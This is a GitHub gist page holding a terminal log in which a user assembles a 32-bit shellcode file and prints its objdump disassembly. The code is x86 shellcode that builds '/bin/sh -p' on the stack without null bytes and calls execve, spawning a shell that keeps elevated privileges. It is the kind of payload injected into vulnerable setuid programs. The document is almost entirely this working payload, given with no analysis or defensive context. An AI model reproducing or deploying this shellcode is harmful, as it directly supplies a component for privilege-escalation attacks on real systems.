Skip to content

Instantly share code, notes, and snippets.

@fgsahoward
Created June 11, 2018 15:14
Show Gist options
  • Select an option

  • Save fgsahoward/281c453f540c7f31c20a78a80094a000 to your computer and use it in GitHub Desktop.

Select an option

Save fgsahoward/281c453f540c7f31c20a78a80094a000 to your computer and use it in GitHub Desktop.
[howard@sterling shellcodes]$ gcc -c shell2_32.s -o obj/shell2_32.o -m32
[howard@sterling shellcodes]$ objdump -Dz obj/shell2_32.o
obj/shell2_32.o: file format elf32-i386
Disassembly of section .text:
00000000 <_start>:
0: 55 push %ebp
1: 89 e5 mov %esp,%ebp
3: 31 ff xor %edi,%edi
5: 66 bf 2d 70 mov $0x702d,%di
9: 57 push %edi
a: 89 e6 mov %esp,%esi
c: bf 2f 73 68 41 mov $0x4168732f,%edi
11: c1 e7 08 shl $0x8,%edi
14: c1 ef 08 shr $0x8,%edi
17: 57 push %edi
18: bf 2f 62 69 6e mov $0x6e69622f,%edi
1d: 57 push %edi
1e: 89 e3 mov %esp,%ebx
20: 31 ff xor %edi,%edi
22: 57 push %edi
23: 56 push %esi
24: 53 push %ebx
25: 89 e1 mov %esp,%ecx
27: 31 d2 xor %edx,%edx
29: 31 c0 xor %eax,%eax
2b: b0 0b mov $0xb,%al
2d: cd 80 int $0x80
2f: 83 c4 18 add $0x18,%esp
32: 5d pop %ebp
33: c3 ret
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment